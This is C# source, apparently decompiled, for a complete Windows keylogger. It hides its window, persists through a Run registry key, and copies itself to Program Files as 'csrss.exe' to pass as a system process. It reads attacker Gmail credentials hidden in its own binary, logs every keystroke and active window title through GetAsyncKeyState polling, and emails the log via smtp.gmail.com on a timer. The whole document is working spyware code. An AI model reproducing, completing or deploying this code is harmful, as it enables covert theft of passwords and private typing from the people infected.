Code:
private void Form1_Load(object sender, EventArgs e)
{
this.Hide();
this.Visible = false;
this.Getinfo();
string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
string str3 = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
Apis.RegWrite(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft System Driver", programFiles + @"\csrss.exe", "REG_SZ");
if (!MyProject.Computer.FileSystem.FileExists(programFiles + @"\csrss.exe"))
{
string[] strArray = new string[] {
str3, "\r\nOperating System Name : \r\n", MyProject.Computer.Info.OSFullName.ToString(), "\r\n ; Platform : ", MyProject.Computer.Info.OSPlatform, "\r\nOperating System : ", Environment.OSVersion.ToString(), " v.", Environment.OSVersion.Version.ToString(), "\r\nComputer Name : ", Environment.MachineName.ToString(), "\r\nUser Name : ", Environment.UserName.ToString(), "\r\nSystem Directory : ", Environment.SystemDirectory.ToString(), "\r\nRunning : ",
Strings.Mid(Conversions.ToString((double) (((double) Environment.TickCount) / 3600000.0)), 1, 5), " Hours\r\nPhisical Memory : ", (((double) MyProject.Computer.Info.TotalPhysicalMemory) / 1048576.0).ToString(), " MB\r\nCulture : ", MyProject.Computer.Info.InstalledUICulture.ToString(), "\r\nLocal Time : ", MyProject.Computer.Clock.LocalTime.ToString()
};
this.TextBox1.Text = string.Concat(strArray);
MyProject.Computer.FileSystem.MoveFile(Application.ExecutablePath, programFiles + @"\csrss.exe");
Apis.SetFileAttributes(programFiles + @"\csrss.exe", 0);
}
}
public void Getinfo()
{
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
this.text1 = Strings.Space((int) FileSystem.LOF(1));
this.text2 = Strings.Space((int) FileSystem.LOF(1));
this.text3 = Strings.Space((int) FileSystem.LOF(1));
this.text4 = Strings.Space((int) FileSystem.LOF(1));
FileSystem.FileGet(1, ref this.text1, -1L, false);
FileSystem.FileGet(1, ref this.text2, -1L, false);
FileSystem.FileGet(1, ref this.text3, -1L, false);
FileSystem.FileGet(1, ref this.text4, -1L, false);
FileSystem.FileClose(new int[] { 1 });
this.options = Strings.Split(this.text1, "@DILSON@", -1, CompareMethod.Binary);
this.TextBox2.Text = Strings.StrReverse(this.options[1]);
this.TextBox3.Text = Strings.StrReverse(this.options[2]);
this.Timer2.Interval = Conversions.ToInteger(Strings.StrReverse(this.options[3]));
this.TextBox4.Text = Strings.StrReverse(this.options[3]);
}
public void MainEvents()
{
try
{
MailMessage message = new MailMessage();
message.From = new MailAddress(this.TextBox2.Text);
message.To.Add(this.TextBox2.Text);
message.Subject = Environment.MachineName;
message.Body = this.TextBox1.Text;
SmtpClient client = new SmtpClient("smtp.gmail.com");
client.Port = 0x24b;
client.Credentials = new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text);
client.EnableSsl = true;
client.Send(message);
this.TextBox1.Text = "";
}
catch (Exception exception1)
{
ProjectData.SetProjectError(exception1);
Exception exception = exception1;
ProjectData.ClearProjectError();
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
int asyncKeyState = Apis.GetAsyncKeyState(0x10);
int num = Apis.GetAsyncKeyState(0x41);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "A";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "a";
}
num = Apis.GetAsyncKeyState(0x42);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "B";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "b";
}
num = Apis.GetAsyncKeyState(0x43);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "C";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "c";
}
num = Apis.GetAsyncKeyState(0x44);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "D";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "d";
}
num = Apis.GetAsyncKeyState(0x45);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "E";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "e";
}
num = Apis.GetAsyncKeyState(70);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "F";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "f";
}
num = Apis.GetAsyncKeyState(0x47);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "G";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "g";
}
num = Apis.GetAsyncKeyState(0x48);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "H";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "h";
}
num = Apis.GetAsyncKeyState(0x49);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "I";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "i";
}
num = Apis.GetAsyncKeyState(0x4a);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "J";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "j";
}
num = Apis.GetAsyncKeyState(0x4b);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "K";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "k";
}
num = Apis.GetAsyncKeyState(0x4c);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "L";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "l";
}
num = Apis.GetAsyncKeyState(0x4d);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "M";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "m";
}
num = Apis.GetAsyncKeyState(0x4e);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "N";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "n";
}
num = Apis.GetAsyncKeyState(0x4f);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "O";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "o";
}
num = Apis.GetAsyncKeyState(80);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "P";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "p";
}
num = Apis.GetAsyncKeyState(0x51);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "Q";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "q";
}
num = Apis.GetAsyncKeyState(0x52);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "R";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "r";
}
num = Apis.GetAsyncKeyState(0x53);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "S";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "s";
}
num = Apis.GetAsyncKeyState(0x54);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "T";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "t";
}
num = Apis.GetAsyncKeyState(0x55);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "U";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "u";
}
num = Apis.GetAsyncKeyState(0x56);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "V";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "v";
}
num = Apis.GetAsyncKeyState(0x57);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "W";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "w";
}
num = Apis.GetAsyncKeyState(0x58);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "X";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "x";
}
num = Apis.GetAsyncKeyState(0x59);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "Y";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "y";
}
num = Apis.GetAsyncKeyState(90);
if (((Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((!Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "Z";
}
if (((!Apis.CAPSLOCKON() & (asyncKeyState == 0)) & ((num & 1) == 1)) | ((Apis.CAPSLOCKON() & (asyncKeyState != 0)) & ((num & 1) == 1)))
{
this.TextBox1.Text = this.TextBox1.Text + "z";
}
num = Apis.GetAsyncKeyState(0x31);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "1";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "!";
}
num = Apis.GetAsyncKeyState(50);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "2";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "@";
}
num = Apis.GetAsyncKeyState(0x33);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "3";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "#";
}
num = Apis.GetAsyncKeyState(0x34);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "4";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "$";
}
num = Apis.GetAsyncKeyState(0x35);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "5";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "%";
}
num = Apis.GetAsyncKeyState(0x36);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "6";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "^";
}
num = Apis.GetAsyncKeyState(0x37);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "7";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "&";
}
num = Apis.GetAsyncKeyState(0x38);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "8";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "*";
}
num = Apis.GetAsyncKeyState(0x39);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "9";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "(";
}
num = Apis.GetAsyncKeyState(0x30);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "0";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ")";
}
if ((Apis.GetAsyncKeyState(8) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{backspace}";
}
if ((Apis.GetAsyncKeyState(9) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{tab}";
}
if ((Apis.GetAsyncKeyState(13) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "\r\n";
}
if ((Apis.GetAsyncKeyState(0x10) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{shift}";
}
if ((Apis.GetAsyncKeyState(0x11) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{ctrl}";
}
if ((Apis.GetAsyncKeyState(0x12) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{alt}";
}
if ((Apis.GetAsyncKeyState(0x13) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{pause}";
}
if ((Apis.GetAsyncKeyState(0x1b) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{esc}";
}
if ((Apis.GetAsyncKeyState(0x20) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + " ";
}
if ((Apis.GetAsyncKeyState(0x23) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{end}";
}
if ((Apis.GetAsyncKeyState(0x24) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{home}";
}
if ((Apis.GetAsyncKeyState(0x26) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{up}";
}
if ((Apis.GetAsyncKeyState(40) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{down}";
}
if ((Apis.GetAsyncKeyState(0x2d) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{insert}";
}
if ((Apis.GetAsyncKeyState(0x2e) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{Delete}";
}
num = Apis.GetAsyncKeyState(0xba);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ";";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ":";
}
num = Apis.GetAsyncKeyState(0xbb);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "=";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "+";
}
num = Apis.GetAsyncKeyState(0xbc);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ",";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "<";
}
num = Apis.GetAsyncKeyState(0xbd);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "-";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "_";
}
num = Apis.GetAsyncKeyState(190);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ".";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + ">";
}
num = Apis.GetAsyncKeyState(0xbf);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "/";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "?";
}
num = Apis.GetAsyncKeyState(0xc0);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "`";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "~";
}
num = Apis.GetAsyncKeyState(0xdb);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "[";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "{";
}
num = Apis.GetAsyncKeyState(220);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + @"\";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "|";
}
num = Apis.GetAsyncKeyState(0xdd);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "]";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "}";
}
num = Apis.GetAsyncKeyState(0xde);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "'";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "\"";
}
if ((Apis.GetAsyncKeyState(0x6a) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "*";
}
if ((Apis.GetAsyncKeyState(0x6f) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "/";
}
if ((Apis.GetAsyncKeyState(0x6b) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "+";
}
if ((Apis.GetAsyncKeyState(0x6d) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "-";
}
if ((Apis.GetAsyncKeyState(110) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{Del}";
}
if ((Apis.GetAsyncKeyState(0x70) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F1}";
}
if ((Apis.GetAsyncKeyState(0x71) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F2}";
}
if ((Apis.GetAsyncKeyState(0x72) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F3}";
}
if ((Apis.GetAsyncKeyState(0x73) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F4}";
}
if ((Apis.GetAsyncKeyState(0x74) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F5}";
}
if ((Apis.GetAsyncKeyState(0x75) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F6}";
}
if ((Apis.GetAsyncKeyState(0x76) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F7}";
}
if ((Apis.GetAsyncKeyState(0x77) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F8}";
}
if ((Apis.GetAsyncKeyState(120) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F9}";
}
if ((Apis.GetAsyncKeyState(0x79) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F10}";
}
if ((Apis.GetAsyncKeyState(0x7a) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{F11}";
}
num = Apis.GetAsyncKeyState(0x7b);
if ((asyncKeyState == 0) & ((num & 1) == 1))
{
this.TextBox1.Text = this.TextBox1.Text + "{F12}";
}
if ((asyncKeyState != 0) & ((num & 1) == 1))
{
this.Visible = true;
Apis.RegisterServiceProcess(0, 0);
}
if ((Apis.GetAsyncKeyState(0x90) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{NumLock}";
}
if ((Apis.GetAsyncKeyState(0x91) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{ScrollLock}";
}
if ((Apis.GetAsyncKeyState(0x2a) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{PrintScreen}";
}
if ((Apis.GetAsyncKeyState(0x21) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{PageUp}";
}
if ((Apis.GetAsyncKeyState(0x22) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{Pagedown}";
}
if ((Apis.GetAsyncKeyState(0x61) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "1";
}
if ((Apis.GetAsyncKeyState(0x62) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "2";
}
if ((Apis.GetAsyncKeyState(0x63) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "3";
}
if ((Apis.GetAsyncKeyState(100) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "4";
}
if ((Apis.GetAsyncKeyState(0x65) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "5";
}
if ((Apis.GetAsyncKeyState(0x66) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "6";
}
if ((Apis.GetAsyncKeyState(0x67) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "7";
}
if ((Apis.GetAsyncKeyState(0x68) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "8";
}
if ((Apis.GetAsyncKeyState(0x69) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "9";
}
if ((Apis.GetAsyncKeyState(0x60) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "0";
}
if ((Apis.GetAsyncKeyState(0x11) & 1) == 1)
{
this.TextBox1.Text = this.TextBox1.Text + "{Ctrl}";
}
}
private void Timer2_Tick(object sender, EventArgs e)
{
this.TextBox1.Text = this.TextBox1.Text + "\r\n" + Apis.GetActiveWindowTitle() + "\r\n";
}
private void Timer3_Tick(object sender, EventArgs e)
{
if (this.TextBox1.Text != "")
{
this.MainEvents();
}
}